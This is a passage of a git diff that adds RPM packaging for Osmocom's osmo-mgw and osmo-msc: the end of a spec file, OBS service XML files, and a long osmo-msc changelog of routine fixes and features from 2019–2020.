+Requires: libosmo-mgcp-client6 = %{version}
+
+%description -n libosmo-mgcp-client-devel
+Osmocom's Media Gateway Control Protocol client librarary.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmo-mgcp-client.
+
+%package -n libosmo-mgcp-devel
+Summary: Development files for Osmocom's Media Gateway server library
+Group: Development/Libraries/C and C++
+
+%description -n libosmo-mgcp-devel
+Osmocom's Media Gateway Control Protocol server library.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmo-mgcp.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --disable-static \
+ --docdir=%{_docdir}/%{name} \
+ --with-systemdsystemunitdir=%{_unitdir}
+
+make %{?_smp_mflags}
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%post -n libosmo-mgcp-client6 -p /sbin/ldconfig
+%postun -n libosmo-mgcp-client6 -p /sbin/ldconfig
+%preun
+%service_del_preun osmo-mgw.service
+
+%postun
+%service_del_postun osmo-mgw.service
+
+%pre
+%service_add_pre osmo-mgw.service
+
+%post
+%service_add_post osmo-mgw.service
+
+%files
+%license COPYING
+%doc AUTHORS README
+%dir %{_docdir}/%{name}/examples
+%dir %{_docdir}/%{name}/examples/osmo-mgw
+%{_docdir}/%{name}/examples/osmo-mgw/osmo-mgw.cfg
+%{_bindir}/osmo-mgw
+%{_unitdir}/osmo-mgw.service
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-mgw.cfg
+
+%files -n libosmo-mgcp-client6
+%{_libdir}/libosmo-mgcp-client.so.6*
+
+%files -n libosmo-mgcp-client-devel
+%{_libdir}/libosmo-mgcp-client.so
+%{_libdir}/pkgconfig/libosmo-mgcp-client.pc
+%dir %{_includedir}/osmocom
+%dir %{_includedir}/osmocom/mgcp_client
+%{_includedir}/osmocom/mgcp_client/*.h
+
+%files -n libosmo-mgcp-devel
+%dir %{_includedir}/osmocom
+%dir %{_includedir}/osmocom/mgcp
+%{_includedir}/osmocom/mgcp/*.h
+
+%changelog
diff --git a/rpm-local/spec/osmo-msc/_service b/rpm-local/spec/osmo-msc/_service
new file mode 100644
index 0000000..e1b1b08
--- /dev/null
+++ b/rpm-local/spec/osmo-msc/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-msc</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-msc/_servicedata b/rpm-local/spec/osmo-msc/_servicedata
new file mode 100644
index 0000000..0e86e5a
--- /dev/null
+++ b/rpm-local/spec/osmo-msc/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-msc</param>
+ <param name="changesrevision">3c8fc13b39c805e66ea553e46add4b206cc06874</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-msc/osmo-msc.changes b/rpm-local/spec/osmo-msc/osmo-msc.changes
new file mode 100644
index 0000000..10ec185
--- /dev/null
+++ b/rpm-local/spec/osmo-msc/osmo-msc.changes
@@ -0,0 +1,1627 @@
+-------------------------------------------------------------------
+Fri May 01 20:03:16 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.31:
+ * SMS-over-GSUP: notify sender in case of RPL delivery failure
+
+-------------------------------------------------------------------
+Thu Apr 30 20:03:17 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.30:
+ * SMS-over-GSUP: notify sender about malformed GSUP messages
+ * SMS-over-GSUP: notify sender about unhandled GSUP messages
+ * SMS-over-GSUP: respond with error if net->sms_over_gsup is false
+ * SMS-over-GSUP: move net->sms_over_gsup check to gsm411_gsup_rx()
+
+-------------------------------------------------------------------
+Sun Apr 26 20:03:19 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.26:
+ * SMS-over-GSUP: clarify error message about unexpected MO/MT SMS
+
+-------------------------------------------------------------------
+Mon Apr 20 20:03:41 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.25:
+ * vlr_auth_fsm: Fix compilation with gcc-10
+
+-------------------------------------------------------------------
+Tue Apr 14 20:03:32 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.24:
+ * doc: do not use random ip-address for MGW
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Wed Apr 01 20:03:46 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.22:
+ * manual: add missing mention of MGCP in "Multiple instances"
+
+-------------------------------------------------------------------
+Tue Mar 10 21:02:50 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.21:
+ * fix segfault: unsolicited Paging Response
+
+-------------------------------------------------------------------
+Mon Feb 10 21:07:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.20:
+ * libmsc/sdp: cosmetic: fix less-than-zero comparison of an unsigned value
+
+-------------------------------------------------------------------
+Wed Jan 29 21:06:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.19:
+ * osmo-msc: use stderr to print error messages, not stdout
+ * libmsc/gsm_04_11.h: remove unused sms_deliver definition
+
+-------------------------------------------------------------------
+Mon Jan 27 21:06:50 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.17:
+ * libmsc/gsm_04_08: use DRR in gsm48_rx_rr_pag_resp(), not DMM
+ * libmsc/gsm_04_08: make use of msc_a in gsm48_rx_rr_app_info()
+ * VTY: cosmetic: make struct cmd_node for GSMNET_NODE static
+ * msc/sccp_ran.h: fix: do not pass -1 to osmo_rat_type_name()
+ * vlr_sgs_fsm: add missing break, do not call to_null() twice
+ * vlr: remove unused parameter 'log_level' of auth_fsm_start()
+ * libmsc: move subscriber expiration timer T3212 to libvlr
+ * libvlr: use generic osmo_tdef API for T3250, T3260, and T3270
+ * VTY: add osmo_tdef introspection and configuration commands
+
+-------------------------------------------------------------------
+Sat Jan 25 21:09:01 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.8:
+ * VTY: mark 'subscriber create imsi' command as deprecated
+
+-------------------------------------------------------------------
+Mon Jan 20 21:12:04 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.7:
+ * msc/signal.h: remove unused (since the NiTB split up) signals
+ * osmo-msc: fix: properly initialize default values for MGW timers
+ * libvlr: remove unused 'periodic_lu_timer' from struct vlr_subscr
+
+-------------------------------------------------------------------
+Sun Jan 19 21:11:52 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.4:
+ * manuals/vty: update the VTY reference to reflect recent changes
+
+-------------------------------------------------------------------
+Wed Jan 15 21:13:59 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.3:
+ * libmsc: SMS, Avoid premature RP-ACK to MS
+ * Trivial: code simplification, return early
+
+-------------------------------------------------------------------
+Sun Jan 12 21:16:21 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.1:
+ * Use GSM411_RP_* and not GSM48_CC_*
+
+-------------------------------------------------------------------
+Thu Jan 09 21:08:02 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.1.0:
+ * Bump version: 1.6.0.3-02dd2 → 1.6.1
+
+-------------------------------------------------------------------
+Mon Jan 06 21:07:20 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.3:
+ * vlr.c: fix condition to check MSISDN presence
+ * vlr_gsup_rx: fix uninitialized rc
+
+-------------------------------------------------------------------
+Sun Jan 05 21:07:00 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.1:
+ * libmsc/gsm_04_08.c: fix: verify MI before calling vlr_subscr_rx_id_resp()
+
+-------------------------------------------------------------------
+Fri Jan 03 21:09:41 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.0:
+ * Bump version: 1.5.0.72-6e72-dirty → 1.6.0
+
+-------------------------------------------------------------------
+Tue Dec 31 21:03:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.72:
+ * libmsc/gsm_04_11_gsup.c: fix SM-RP-OA encoding for MO SMS over GSUP
+ * libmsc/gsm_04_11_gsup.c: do not init a buffer in gsm411_gsup_mo_fwd_sm_req()
+
+-------------------------------------------------------------------
+Sun Dec 15 21:04:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.70:
+ * sms log tweak
+
+-------------------------------------------------------------------
+Thu Dec 12 21:05:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.69:
+ * sms db: when storing an SMS, retrieve the ID
+ * osmoappdesc.py, tests: switch to python 3
+ * gsup: indicate CN-Domain in SendAuthInfo Requests
+
+-------------------------------------------------------------------
+Wed Dec 04 21:03:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.66:
+ * msc: exit(2) on unsupported positional arguments on command line
+
+-------------------------------------------------------------------
+Mon Dec 02 21:05:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.65:
+ * libmsc: fix potential NULL-pointer dereferences detected by GCC's LTO
+ * counters: polish documentation of cm_service_request / paging_resp
+ * counters: clarify documentation for MSC_CTR_CALL_* entries
+ * counters: clarify documentation for MSC_CTR_LOC_UPDATE_* entries
+ * counters: clarify documentation for MSC_CTR_SMS_* entries
+
+-------------------------------------------------------------------
+Sun Dec 01 21:08:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.60:
+ * Check for osmo_fsm_register() error return value
+ * manual: Fix copy+paste error
+ * check for osmo_ss7_init() error return value
+
+-------------------------------------------------------------------
+Thu Nov 28 21:14:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.57:
+ * msc_vlr_test_call: rename lu_utran_tmsi
+ * msc_vlr_tests: log descriptions in color with -v
+ * msc_vlr_test_call.c: add MNCC logging
+ * msc_vlr_tests: better err logging for dtap msgs
+ * MNCC v6: add optional SDP to the socket protocol
+ * add sdp_msg API: SDP parsing/composition
+ * fix incoming call while Paging
+ * msc_a CC: add some basic sanity tests
+ * fail on invalid RTP address from MGW
+
+-------------------------------------------------------------------
+Sat Nov 23 21:07:50 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.48:
+ * Fix some typos
+
+-------------------------------------------------------------------
+Tue Nov 12 21:07:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.47:
+ * BSSMAP: decode Codec List (BSS Supported)
+ * fix msc_vlr_test_call.c
+
+-------------------------------------------------------------------
+Mon Nov 11 21:05:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.45:
+ * cc trans: remove unused tch_rtp_create
+
+-------------------------------------------------------------------
+Mon Nov 04 21:05:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.44:
+ * charts: add full MO and MT voice call diagram
+ * add msc_log_to_ladder.py
+ * CC: add error handling for CRCX responses
+ * use osmo_sockaddr_str_is_nonzero()
+ * rtp_stream: sanely cancel MGW endpoint FSM notify
+ * fsm: use deferred deallocation
+
+-------------------------------------------------------------------
+Wed Oct 30 21:03:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.38:
+ * send MNCC REL only if MNCC has actually started
+ * log: ran_msg_a: tweak a message name
+ * log: RANAP encode: use RANAP message names instead of BSSAP
+ * BSSMAP log tweak
+ * also log MNCC_SETUP_REQ
+
+-------------------------------------------------------------------
+Tue Oct 29 21:04:11 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.33:
+ * tests: only check IU configs if IU is enabled
+
+-------------------------------------------------------------------
+Thu Oct 24 20:04:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.32:
+ * log: drop duplicate MNCC log
+ * log which DTAP messages are sent to RAN
+ * LOG_TRANS for CC: always log CC state
+
+-------------------------------------------------------------------
+Thu Oct 17 20:02:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.29:
+ * vlr_auth_fsm: on SAI use the GSUP provided GMM cause code
+ * make vlr_gmm_cause_to_mm_cause public
+
+-------------------------------------------------------------------
+Fri Sep 27 20:04:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.27:
+ * catch GSUP auth result without auth_fsm
+
+-------------------------------------------------------------------
+Thu Sep 26 20:03:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.26:
+ * paging: Send SGsAP-SERVICE-ABORT-REQUEST on paging timeout
+ * sgs_iface: Accept messages with unknown TLV elements
+
+-------------------------------------------------------------------
+Wed Sep 18 20:08:00 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.24:
+ * fix error on BSSMAP Cipher Mode Complete L3 msg IE
+
+-------------------------------------------------------------------
+Mon Sep 16 20:05:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.23:
+ * vlr: gmm_cause_to_fsm_and_mm_cause() drop fsm_cause_p argument
+ * vty: fix access to wrong argv in paging response-timer
+
+-------------------------------------------------------------------
+Tue Sep 03 20:07:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.21:
+ * msc_a fsm: ignore state chg to same state
+ * ran_dec logging: log message sizes on errors
+ * vlr: don't log about "gratuitous ID RESPONSE"
+ * Implement a global switch on the network to disable call waiting.
+
+-------------------------------------------------------------------
+Mon Sep 02 20:06:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.17:
+ * cosmetic: fix call_leg_ensure_ci() decl. arg name to match impl.
+ * msc_a.c, CC trans: change a comment to a debug log
+ * gsm48_tch_rtp_create(): check against NULL mgcp_info
+ * msc_vlr_tests: GSUP: don't care about extra IEs
+ * log, cosmetic: add "RR" to "Ciphering Mode Complete"
+
+-------------------------------------------------------------------
+Thu Aug 29 20:08:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.12:
+ * tweak CC cause for incoming call to unattached nr
+ * vlr_lu_fsm: ignore ID_IMEISV during VLR_ULA_S_WAIT_HLR_UPD
+ * fix segfault: don't send CC REL on NULL msc_a
+ * cc trans: make sure bearer cap is empty
+ * memleak on cc setup errors
+ * mncc: send payload type matching chosen codec
+
+-------------------------------------------------------------------
+Tue Aug 27 20:04:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.6:
+ * smpp_openbsc.c: check acl before deref it
+
+-------------------------------------------------------------------
+Mon Aug 19 20:16:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.5:
+ * msc_a: switch RAN type back to SGs when a CSFB-Call is cleared
+
+-------------------------------------------------------------------
+Sun Aug 18 20:18:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.4:
+ * libvlr/vlr.c: cosmetic: move message_type assignment
+
+-------------------------------------------------------------------
+Fri Aug 16 20:16:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.3:
+ * sgs_iface: do not use SGsAP-MO-CSFB-INDICATION for CSFB return
+
+-------------------------------------------------------------------
+Wed Aug 14 20:28:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.2:
+ * add 'encryption uea 1 2' cfg / fix ttcn3 iu tests
+
+-------------------------------------------------------------------
+Mon Aug 12 20:10:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.1:
+ * cosmetic: make function mncc_tx_to_gsm_cc static
+
+-------------------------------------------------------------------
+Thu Aug 08 21:57:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.0:
+ * Bump version: 1.4.0 → 1.5.0
+ * Fix dependency version requirements
+ * vlr_lu_fsm: fix missing event for IMEISV
+ * doc/sequence_charts: fix naming of mncc_fsm to mncc_call
+ * doc/sequence_charts/mncc_fsm.msc: add SIP messages, tweak
+ * add msc_vlr tests for UMTS without ciphering
+ * do not force encryption on UTRAN
+ * manual: adjust and fix auth and ciph docs
+ * Remove undefined param passed to logging_vty_add_cmds
+ * Set coding in mncc_set_cause()
+ * minor comments in msc_vty.c
+
+-------------------------------------------------------------------
+Thu Jul 25 20:37:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.183:
+ * doc: Add Osmux documentation to User Manual
+
+-------------------------------------------------------------------
+Wed Jul 24 20:30:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.182:
+ * vlr_lu_fsm.c: don't send LU reject twice
+
+-------------------------------------------------------------------
+Mon Jul 22 20:06:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.181:
+ * turn -Werror=null-dereference into a warning
+
+-------------------------------------------------------------------
+Mon Jul 22 10:31:53 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Disable LTO for now since it breaks compilation of the tests
+ See: https://osmocom.org/issues/4115
+
+-------------------------------------------------------------------
+Thu Jul 18 20:08:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.180:
+ * replace osmo_counter with stat_items
+
+-------------------------------------------------------------------
+Wed Jul 17 19:09:48 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.179:
+ * fix spelling detected by lintian
+
+-------------------------------------------------------------------
+Thu Jul 11 20:19:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.178:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Wed Jul 10 20:13:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.177:
+ * libmsc/msc_vty.c: print subscriber expiration time
+ * Fix: add missing semicolons to OSMO_ASSERT statements
+
+-------------------------------------------------------------------
+Thu Jun 20 20:29:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.175:
+ * libmsc/ran_msg_iu.c: fix: properly handle SAPI IE of RANAP_DirectTransfer
+ * libmsc/gsm_04_11.c: do not abuse LOG_TRANS() in gsm411_alloc_mt_trans()
+ * gsm_04_11_gsup.c: fix broken reference counting for vsub
+ * sms_queue.c: Improve misleading log line
+
+-------------------------------------------------------------------
+Wed Jun 19 20:31:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.171:
+ * libvlr/vlr.c: do not expire subscribers if periodic LU is disabled
+ * tests/msc_vlr: fix: do not pass RAT type to expect_bssap_clear()
+
+-------------------------------------------------------------------
+Tue Jun 18 20:12:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.169:
+ * manuals: Include overview chapter about counters
+ * manuals: Update counter/vty documentation
+ * manuals: Add script to update vty/counter documentation from docker
+ * libmsc/gsm_09_11.c: do not suppress rc of gsup_client_mux_tx()
+ * libmsc/gsm_09_11.c: do not abuse LOG_TRANS() in gsm0911_rcv_nc_ss()
+ * libmsc/gsm_09_11.c: fix broken reference counting for vsub
+ * libmsc/gsm_09_11.c: avoid double zero-initialization of gsup_msg
+
+-------------------------------------------------------------------
+Mon Jun 17 20:09:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.162:
+ * libmsc/gsm_09_11.c: properly handle OSMO_GSUP_MSGT_PROC_SS_ERROR
+ * libmsc/gsm_09_11.c: inform HLR/EUSE if Paging has failed
+ * libmsc/msc_net_init.c: pass pointer to gsm_network directly
+ * libmsc/gsm_09_11.c: drop meaningless check for concurrent paging
+ * libmsc/gsm_09_11.c: drop rudimentary vsub->cgi.lai.lac check
+ * libmsc/gsm_09_11.c: log network-originated session establishment error
+ * libmsc/gsm_09_11.c: do not abuse LOG_TRANS() and early trans allocation
+ * libvlr: fix sgsn tmsi creation, replace constant with define
+
+-------------------------------------------------------------------
+Sat Jun 15 20:16:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.154:
+ * libmsc/paging.c: cosmetic: remove leading space in log line
+ * libmsc/paging.c: cosmetic: actually use default branch of switch
+ * libmsc/paging.c: avoid double zero-initialization
+ * libmsc/msc_a.c: fix: remove dummy allstate_action of msc_a_fsm
+ * libmsc/gsm_04_08.c: clean up unused leftover includes
+ * libmsc/gsm_09_11.c: send GSUP PROS_SS ERROR message when needed
+ * libmsc/gsm_09_11.c: fix: return trans from establish_nc_ss_trans()
+ * gsup_client_mux_tx_error_reply(): fix: do not omit SM-RP-MR IE
+ * gsup_client_mux_tx_error_reply(): fix: do not omit message class IE
+ * gsup_client_mux_tx_error_reply(): fix: do not omit session IEs
+ * gsup_client_mux_tx_error_reply(): fix: do not override IMSI
+ * libmsc/gsm_0(4|9)_11_gsup.c: print error message if subscr is not known
+ * libmsc/mncc_builtin.c: drop dummy switch in int_mncc_recv()
+
+-------------------------------------------------------------------
+Sun Jun 09 20:02:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.141:
+ * libmsc/db.c: get rid of hard-coded SMS expiry threshold
+
+-------------------------------------------------------------------
+Thu Jun 06 20:03:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.140:
+ * libmsc/db.c: warn user about SMS text truncation
+ * libmsc/db.c: introduce and use parse_sm_ud_from_result()
+ * libmsc/db.c: fix potential integer overflow
+
+-------------------------------------------------------------------
+Wed Jun 05 20:03:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.137:
+ * db_sms_test: Remove libdbi expected driver load errors
+ * debian/control: add missing libdbd-sqlite3 to Build-Depends
+
+-------------------------------------------------------------------
+Tue Jun 04 20:03:11 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.135:
+ * db_sms_test: Do not print exact memcmp result
+ * db: Fix call to mempcy with NULL src ptr
+
+-------------------------------------------------------------------
+Mon Jun 03 20:03:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.133:
+ * libmsc/db.c: fix storing SMS with empty TP-User-Data
+ * Introduce initial unit test for db_sms_* API
+ * tests: share stubs.h from msc_vlr_test as stubs.c
+ * libmsc/msc_vty.c: do not abuse strlen() to check char buffers
+ * libmsc/msc_vty.c: refactor 'show subscr / conn / trans' commands
+
+-------------------------------------------------------------------
+Fri May 31 20:03:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.128:
+ * debian: create -doc subpackage with pdf manuals
+
+-------------------------------------------------------------------
+Wed May 29 20:03:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.127:
+ * Use GSM23003_MSISDN_MAX_DIGITS from libosmogsm
+
+-------------------------------------------------------------------
+Mon May 27 20:03:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.126:
+ * sgs_iface: detect and react to VLR/HLR failure
+
+-------------------------------------------------------------------
+Sun May 26 20:03:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.125:
+ * transaction: accept trans_type enum in trans_log_subsys()
+ * Request Osmux CID and forward it in Assign Req and Assign Compl
+
+-------------------------------------------------------------------
+Sun May 19 20:03:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.123:
+ * libmsc/gsm_04_11.c: properly handle MMTS indication
+ * a_iface: Announce Osmux support on RESET (ACK) send
+ * bssap: Detect BSC Osmux support on RESET (ACK) recv
+ * vty: Add option to enable osmux towards BSCs
+ * build osmo-msc: add "missing" LIBASN1C_LIBS
+
+-------------------------------------------------------------------
+Thu May 16 20:03:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.118:
+ * libmsc/rtp_stream.c: prevent NULL-pointer dereference
+ * libmsc/msc_vty.c: use llist_count() in subscr_dump_full_vty()
+ * libmsc/msc_vty.c: fix documentation of 'show subscriber id'
+ * libmsc/msc_vty.c: fix: use msub_for_vsub() in subscr_dump_full_vty()
+
+-------------------------------------------------------------------
+Wed May 15 20:03:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.114:
+ * remove msc specific db counters
+ * ran_peer: Move rx_reset_ack logic into its own func
+ * vlr: optionally send IMEI early to HLR
+ * vlr: when setting IMEISV, also set IMEI
+ * vlr: fix IMEI length
+ * vty: make retrieve-imeisv-early configurable
+
+-------------------------------------------------------------------
+Tue May 14 20:03:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.108:
+ * libmsc/ran_peer.c: avoid unreasonable use of goto in ran_peer_down_paging()
+ * libmsc/ran_peer.c: fix msgb memleaks in ran_peer_down_paging()
+ * make LOG_TRANS() NULL-safe again
+ * vlr_lu_fsm.c: assert for invalid events
+ * libmsc/mncc_call.c: fix uninitialized access of stack memory
+ * libmsc/ran_msg_a.c: prevent chosen_encryption->key buffer overrun
+ * libmsc/ran_msg_a.c: refactor ran_a_decode_lcls_notification()
+ * libmsc/ran_msg_a.c: avoid ternary operator in struct initialization
+ * libmsc/gsm_04_11.c: fix NULL-pointer dereference in gsm340_rx_tpdu()
+ * sms_queue_test: assert return value of osmo_use_count_get_put()
+ * libmsc/msc_a.c: fix possible NULL-pointer dereferences
+ * libmsc/msc_ho.c: fix unreacheable check of MSC-T role allocation
+ * libmsc/sgs_server.c: do not override rc in case of SCTP_SHUTDOWN_EVENT
+
+-------------------------------------------------------------------
+Mon May 13 20:03:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.95:
+ * tests/.../Makefile.am avoid redundant linkage with librt
+
+-------------------------------------------------------------------
+Sun May 12 20:03:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.94:
+ * libmsc/gsm_04_11_gsup.c: cosmetic: drop useless variable
+ * libmsc/gsm_04_08.c: clarify IMEI rejection in gsm48_rx_mm_serv_req()
+ * libmsc/gsm_04_08.c: refactor CM Service Request parsing
+ * libmsc/gsm_04_08.c: fix: print proper length value
+ * silence error messages about HANDOVER_END not permitted
+ * add DSS logging category
+ * libmsc/gsm_04_11.c: cosmetic: restructure gsm411_mm_send()
+ * libmsc/gsm_04_11.c: fix double init of both SMR and SMC FSMs
+
+-------------------------------------------------------------------
+Sat May 11 20:03:25 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.86:
+ * Iu: Send SMS over SAPI-3
+
+-------------------------------------------------------------------
+Fri May 10 20:03:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.85:
+ * call_leg: document the parent_event_* items
+ * call_leg: remove unused event MSC_EV_CALL_LEG_RTP_RELEASED
+ * SMPP: Don't accept password or system-id exceeding spec length
+ * LOG_TRANS: store subsys in trans, unify USSD logging back to DMM
+ * no HO call forwarding if no RTP stream
+ * make msc_a_vsub() and others NULL-safe
+ * ran_a_make_handover_request(): allow no encryption
+ * libmsc/gsm_04_11.c: properly handle TP-User-Data-Length
+ * libmsc/ran_peer.c: fix msgb memleak in ran_peer_rx_reset()
+
+-------------------------------------------------------------------
+Thu May 09 20:03:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.76:
+ * comment: apply function renames to message cycle explanation
+ * msub_check_for_release(): Initialize msc_role_a_c
+ * vty/cfg: add missing write-back of inter-BSC and inter-MSC HO config
+ * fix regression: fix internal MNCC operation
+ * smpp: Make libsmpp34 use talloc for its allocations
+
+-------------------------------------------------------------------
+Wed May 08 20:04:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.71:
+ * rename bscconfig.h to config.h, cleanup
+ * GSUP: include terminating nul in inter-MSC source/destination name
+ * large refactoring: support inter-BSC and inter-MSC Handover
+ * gsm_04_11: use gsm48_decode_bcd_number2(), evaluate rc
+
+-------------------------------------------------------------------
+Tue May 07 20:04:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.67:
+ * fix various missing line endings in logging
+
+-------------------------------------------------------------------
+Fri Apr 26 20:03:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.66:
+ * vlr subscr get/put: also check against NULL
+
+-------------------------------------------------------------------
+Thu Apr 25 20:03:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.65:
+ * libmsc/gsm_04_11.c: clarify implicit CP-ACK handling
+ * libmsc/db.c: print info about database name and libdbi version
+ * configure.ac: drop useless SQLite3 dependency
+
+-------------------------------------------------------------------
+Tue Apr 23 20:03:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.62:
+ * vlr_sgs_fsm: make sure vsub is marked used when LA is present
+
+-------------------------------------------------------------------
+Mon Apr 15 20:03:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.61:
+ * configure.ac: drop rudimentary check for -fvisibility=hidden
+ * smpp: fix vlr_subscr use count bugs
+
+-------------------------------------------------------------------
+Sun Apr 14 20:04:00 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.59:
+ * Allow MME name preformatted as FQDN in SGsAP
+
+-------------------------------------------------------------------
+Fri Apr 12 20:03:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.58:
+ * gsm_04_08_cc: improve logging for CC trans
+ * add LOG_TRANS, proper context for all transactions
+ * vlr_subscr: use osmo_use_count
+ * sms queue: avoid repeated Paging for a failed SMS
+ * enable osmo_fsm_term_safely(), apply logging changes
+
+-------------------------------------------------------------------
+Thu Apr 11 20:03:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.53:
+ * sgs_iface: fix nullpointer dereference
+
+-------------------------------------------------------------------
+Wed Apr 10 20:04:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.52:
+ * smpp_smsc: Call destroy_tlv() when using build_tlv()
+ * sms_queue: Print dest msisdn instead of unknown subscriber
+
+-------------------------------------------------------------------
+Mon Apr 08 20:03:25 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.50:
